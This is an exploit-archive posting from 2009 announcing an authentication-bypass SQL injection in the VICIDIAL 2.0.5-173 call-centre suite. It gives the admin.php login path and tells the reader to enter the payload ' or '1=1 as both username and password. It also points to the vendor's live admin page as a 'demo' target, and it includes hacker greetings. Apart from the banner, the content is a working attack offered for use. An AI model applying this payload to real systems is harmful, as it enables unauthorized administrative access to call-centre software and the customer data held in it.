VICIDIAL 2.0.5-173 (Auth Bypass) SQL Injection Vulnerability

[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]

# Title : VICIDIAL 2.0.5-173 (Auth Bypass) SQL Injection Vulnerability
# Published : 2009-05-21
# Author : Striker7
# Previous Title : PhotoVideoTube 1.11 Multiple Remote Vulnerabilities
# Next Title : ASP Inline Corporate Calendar (SQL/XSS) Multiple Remote Vulnerabilities

#      _ _ _  _ _ _        _      _ _  _ _ _   _____
# _ _ |_   _| |  _ )  (_) | |__  |     |  _ )      /
#(_-<   | |   | |_//  | | | / /  |---> | |_//     /
#/__/   |_|   | |  \ |_| |__  |_ _  | |  \   /
#########################################################################################################
[+] Type Exploit :VICIDIAL call center suite (Admin Bypass) SQL Injection Vulnerability
[+] Script Homepage :http://www.vicidial.org
[+] Discovered By Striker7
[+] Greate : His0k4 , Super Cristal , Yassine_enp , Dreadful ,Str0ke, And ALl Hacker Muslims(Dz)
[+] www.Snakespc.com
[+] Back To Hacker Of Nother Method
#########################################################################################################
 [+] Exploit(Ex):
  http://[Target].com/[path]/admin.php
   then >>
   Username:   ' or '1=1
   Password:   ' or '1=1
   [+]Live Demo:
   http://www.vicidial.org/vicidial/admin.php
#########################################################################################################

# www.Syue.com [2009-05-21]